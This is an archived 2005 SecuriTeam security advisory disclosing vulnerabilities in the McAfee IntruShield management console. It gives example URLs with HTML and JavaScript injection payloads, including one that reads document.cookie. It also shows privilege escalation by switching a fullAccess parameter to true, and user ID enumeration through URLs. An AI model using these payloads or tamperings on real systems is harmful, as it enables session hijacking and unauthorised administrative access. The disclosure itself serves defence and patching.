

[NEWS] McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0023.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/10/05

To: list@securiteam.com

Date: 10 Jul 2005 11:31:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting

SUMMARY

<http://www.mcafeesecurity.com/us/products/mcafee/network_ips/category.htm> McAfee IntruShield Security Management System – "The McAfee IntruShield Security Management System is an advanced solution for administering IntruShield sensor appliance deployments."

McAfee IPS users can elevate their privileges from a user that can only view alerts logged by remote sensors, to one that can gain access to acknowledge, accept and delete alerts and access the Management Console. It is also possible to inject malicious HTML and JavaScript into the URLs and have this malicious script run on the clients machine, allowing for account information hijacking.

DETAILS

HTML Injection:

It is possible to embed HTML into the MISMS. This could potentially allow phishing attacks to be performed against a valid Manager account.

Example:

<https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&>

Securiteam: [NEWS] McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting

```
faultResourceName=Manager&domainName=%2FDemo%3A0&
resourceName=%2FDemo%3A0%2FManager&resourceType=Manager&
topMenuName=SystemHealthManager&secondMenuName=Faults&
resourceId=-1&thirdMenuName=<iframe%20src="
http://www.mcafeesecurity.com/us/about/press/corporate/2005/20050411\_185504.htm"
%20width=800%20height=600 ></iframe>&severity=critical&count=1
```

JavaScript Injection:

It is possible to embed JavaScript into the MISMS and have the embedded script execute in the security context of the user browsing the Management System.

Example:

```
https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&domainName=Demo&resourceName=
<script>alert("There could be trouble ahead")</script>
<script>alert(document.cookie)</script>
&resourceType=Manager&topMenuName=SystemHealthManager&
secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1
```

Access privileged reports:

It is possible to access the restricted "Generate Reports" section of the MISMS and as such, a non-privileged user can gain important information regarding the configuration and set-up of the IP devices being managed by the Service. This can be achieved by simply changing the Access option from false to true.

Example:

```
https://intrushield:443/intruvert/jsp/reports/reports-column-center.jsp?
monitoredDomain=%2FDemo&selectedDomain=0&fullAccessRight=true
```

Acknowledge and delete alerts:

It is possible to acknowledge, de-acknowledge and delete alerts from the MISMS console by modifying URL's sent to the system by simply changing the Access option from false to true.

Example:

```
https://intrushield/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&domainName=%2FDemo%3A0&resourceName=%2FDemo%3A0%2FManager&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1
```

Each change is emailed out to the administrator, however the email only says that "someone" made a change.

Gain access to Management Console:

As default, all user ID values are passed in the URL in the clear, meaning that it is trivial for an attacker to brute force accounts until a privileged Manager account is found. An example of this would look similar to:

```
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=1&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=2&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=3&logo=intruvert.gif
https://intrushield:443/intruvert/jsp/menu/disp.jsp?userId=4&logo=intruvert.gif
```

Securiteam: [NEWS] McAfee Intrushield IPS Privilege Escalation and Cross Site Scripting

This process can be continued until a valid user ID has been found with privileges to access the configure screen.

Since javascript can be run in the browsers of clients accessing the device, it would be possible to redraw the page with IFRAME's and recreate the user login page to snoop usernames and passwords.

Patch Availability:

A new version has been released to address these bugs and can be downloaded from

<<https://secure.nai.com/us/forms/downloads/upgrades/login.asp>> vendor's site.

ADDITIONAL INFORMATION

The information has been provided by <mailto:c0ntexb@gmail.com> c0ntex.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.